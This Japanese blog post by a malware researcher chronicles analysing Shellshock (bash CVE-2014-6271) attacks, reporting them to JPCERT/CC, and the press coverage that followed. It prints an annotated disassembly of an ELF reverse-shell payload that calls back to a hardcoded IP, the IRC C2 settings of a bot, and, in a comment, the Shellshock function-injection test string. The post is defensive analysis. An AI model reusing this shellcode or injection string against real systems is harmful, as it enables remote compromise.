土曜日, 9月 27, 2014

bash 0dayマルウェア感染の「real time」リバースエンジニアリング

ゼロデイが出るといつも大忙し。
特にリバースエンジニアリングの僕らの手が回らない状態です。

《一日目》

CVE-2014-6271(bash 0day)の発表後24時間以内にMalwareMustDieのチームメートから連絡があり、私が調査してマルウェア感染攻撃を発見しました。
↑調査してくれっていう事で、当時自分は外出中でしたが危なそうだったので急いでPCを開いてバイナリーの分析調査を始めました。
「早く!早く!」とあちこちから催促するメッセージ。初めて見たマルウェアなのにそんなに早く分析出来るわけないだろうとキレながら調査。調査しながら「VirusTotal」のコメント欄に調査報告を書いて、報告しました↓
↑完成まで結構早かった、調査に掛かった時間は大体3~4時間ぐらいかな?ツイート報告遅くなりました。すまぬ…詳細な調査報告が出来ずにいましたがマルウェアの全容は見えるように。後で気づいたが、このマルウェアを初めて調査報告した研究者は僕でした。GJ。これは酷いマルウェアで、バックドア機能意外にもtelnet接続のIPスキャナー、login bruteforce機能、DDoS機能、busyboxのexploit攻撃機能、などを発見しました。
ツイートのリンクをクリックすると「VirusTotal」のサイトに行くので「コメント」のタブをクリックしてください。調査結果が見れます↓

焦って書いたのでなかなかにお粗末な出来ですが(VTコメントは編集が出来ない)おゆるしを。本当にプレッシャーやばかったの^^);

その後、仕事終わったあとでゆっくり丁寧に詳しい情報をマルウェア研究サイトに書きました↓ふう

そしたらニュースレポーターからインタービューの依頼が来て、受けました。それが海外のITニュースの話題に。国内にその情報も来たみたいなので見て下さい↓
http://japan.zdnet.com/security/analysis/35054302/
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb

《二日目》

翌日また新種のマルウェア攻撃を発見し前日同様調査開始!
「Shellshock」の攻撃です↓


当時確認したら、マルウェアのダウンロードが出来ている状態でした↓


IPを確認したら、なんと…KDDIだ!!…びっくりしました。
$ dig www.0rz.it +short
106.185.25.239
$ echo 106.185.25.239 | geoip.sh
106.185.25.239|li716-239.members.linode.com.|2516 | 106.185.0.0/17 |
KDDI | JP | LINODE.COM | LINODE LLC
そのログはIDS機能からのログなので、たまたま会社の製品(K-PROX)のhttpプロキシのログでしました。
ポートスキャナーっぽい攻撃で、ヒットの数も多いから、危ないと思っていました。
直ぐにJP-CERT/CCに報告メールを書いて送りました、その後もツイートをしました↓

↑返事が数秒で届きましたが、返事メールを見ながら「あれ!サンプルとサンプルの調査内容を送ってないんだ!」と気づいていた^^);; 
大パニックになって、また、前の日みたいでバイナリーの分析調査をメールのフォームに急いで書いて、わーっとASMのコメントを書いて、2回ぐらいに編集し2回もメールで送信しました。…プレッシャーに弱い…失礼しました。

取りえず最終版のELFバイナリー分析調査結果がこんな感じで↓
0x08048054    31db         xor ebx, ebx
0x08048056    f7e3         mul ebx
0x08048058    53           push ebx
0x08048059    43           inc ebx  // = "SYS_SOCKET" = "socket" ()
0x0804805a    53           push ebx  // Build arg array for INET { protocol = 0, push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1, push BYTE 0x2 ; AF_INET = 2 }
0x0804805b    6a02         push 0x2  // 0x0002 = "PF_INET"
0x0804805d    89e1         mov ecx, esp //  ecx = pointer to arg array
0x0804805f    b066         mov al, 0x66  // socketcall (syscall # 102)
0x08048061    cd80         int 0x80  // call interrupt / exec
0x08048063    93           xchg ebx, eax
0x08048064    59           pop ecx
0x08048065    b03f         mov al, 0x3f // <=== system call: _connect()
0x08048067    cd80         int 0x80 // call interrupt _syscall
0x08048069    49           dec ecx
0x0804806a    79f9         jns 0x108048065 // loop to re connect..
  :
0x0804806c    681b139fe0   push 0xe09f131b // 0xe09f131b addr "to IP"
0x08048071    68020011c1   push 0xc1110002 // 0xc1110002 addr "to ports#"
0x08048076    89e1         mov ecx, esp // server strct pointer
0x08048078    b066         mov al, 0x66 // socketcall (syscall # 102)
0x0804807a    50           push eax
0x0804807b    51           push ecx //  value: "\002" // AF_INET = 2
0x0804807c    53           push ebx // ebx =2 = sys_bind / bind()
0x0804807d    b303         mov bl, 0x3 // system call: _connect()
0x0804807f    89e1         mov ecx, esp  //ecx = "arguement array" "\a"
0x08048081    cd80         int 0x80 // int 0x80 .. _syscall / call interrupt / exec
  :
0x08048083    52           push edx ; push null string termination
0x08048084    682f2f7368   push 0x68732f2f  // push "//sh" to the stack
0x08048089    682f62696e   push 0x6e69622f  //push "/bin" to the stack
0x0804808e    89e3         mov ebx, esp // addr of "/bin//sh" into ebx via esp
0x08048090    52           push edx // push x32 null terminator to stack
0x08048091    53           push ebx // push string address to stack up from null terminator point
0x08048092    89e1         mov ecx, esp // arg array with string ptr
0x08048094    b00b         mov al, 0xb
0x08048096    cd80         int 0x80 // execve("/bin//sh", ["/bin//sh", NULL], [NULL])
そして、その後…ゆっくり、ブログ(malwaremustdieとフォーラムにも)書きました↓ その後、また世界のITセキュリティニュースにも盛り上がったそうで、もう一度インタービューを受けました↓ そのニュースもあちこちに出てしまいました、国内にも来るかも知れないね→リンク

《三日目》

今日はもう12件ぐらい別々のELFマルウェア、ELF-EXPLOITとその他悪戯スクリプト(PHP/Perl…ほぼIRC/Bot)を発見しましたけれど、攻撃多すぎて。取り合えず今日からゆっくり一個ずつ対応します。ウェブサーバあり+bashのパッチがインストールされてないLinuxマシンは本当に危険ですね。

本0day(ゼロデイ)について、Heartbleedよりも危険なので、攻撃も色々出来るから、例えばリバースSHELLとか↓

などなど、でBASHのパッチを直ぐに提供してくださいね。 またPAYLOADとしてはマルウェアだけじゃないので↓

なんと…Mac OS X マルウェアまで発見しました↓

↑CNCはIRCですね↓
#undef STARTUP // Start on startup?
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apache2" // What you want this to hide as
#define CHAN "#shellshock" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=1; // Must change this to equal number of servers down there
char *servers[] = { // List the servers in that format, always end in (void*)0
"linksys.secureshellz.net",
(void*)0
}; 
↑チャンネル名は#shellshockという事はshellshock限定で作られたマルウェアですね^^;こわ!

…などなど。所でどうかご注意を!

マルウェア分析調査に対して、全世界のITセキュリティまとめ

全世界のITセキュリティメディアから沢山記事を書いて頂き有難う御座います m(_ _)m

バックリンク↓

http://www.zdnet.com/hackers-jump-on-the-shellshock-bash-bandwagon-7000034095/
http://www.csoonline.com/article/2687958/application-security/shellshock-bash-vulnerability-being-exploited-in-the-wild-red-hat-says-patch-incomplete.html
http://www.version2.dk/artikel/botnets-kaster-sig-over-kritisk-shellshock-saarbarhed-shanghaje-linux-servere-68791
http://www.solidot.org/story?sid=41294
http://www.bkjia.com/xtaq/885386.html

Mentions:

http://www.newsfactor.com/story.xhtml?story_id=94303
http://newsbiz.yahoo.co.jp/detail?a=20140926-35054302-cnetj-nb
http://japan.zdnet.com/security/analysis/35054302/
http://www.zdnet.co.kr/news/news_view.asp?artice_id=20140926101159
http://www.zdnet.de/88206884/apple-mehrheit-der-mac-nutzer-ist-von-bash-luecke-nicht-betroffen/
http://www.cnet.de/88137503/bash-bug-exploit-code-fuer-shellshock-luecke-entdeckt/
http://www.zdnet.de/88206816/ersten-angriff-auf-bash-luecke-linux-und-unix-entdeckt/
http://www.silicon.de/41604047/shellshock-erste-angriffe-auf-linux-leck/
http://www.baomoi.com/Phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-Bash/76/14901865.epi
http://www.downloadblog.it/post/116264/shellshock-primi-attacchi-col-bug-nella-bash-di-linux
http://ictnews.vn/cntt/bao-mat/phat-hien-nhung-tan-cong-dau-tien-loi-dung-lo-hong-bash-119952.ict
http://codigofonte.uol.com.br/noticias/primeiros-ataques-usando-bug-bash-sao-descobertos/19514

コメントとブログ↓

http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3506
http://habrahabr.ru/company/eset/blog/238257/

2 件のコメント:

  1. 脆弱性の影響チェックscript↓

    env check='Not vulnerable' x='() { :;}; check=Vulnerable' bash -c 'echo $check'

    返信削除
  2. ↑2番目のELFはmsf shell_reverse_tcpのpayload x32のコードから単純にコピペで作られたそうだね。コードがそっくり。

    返信削除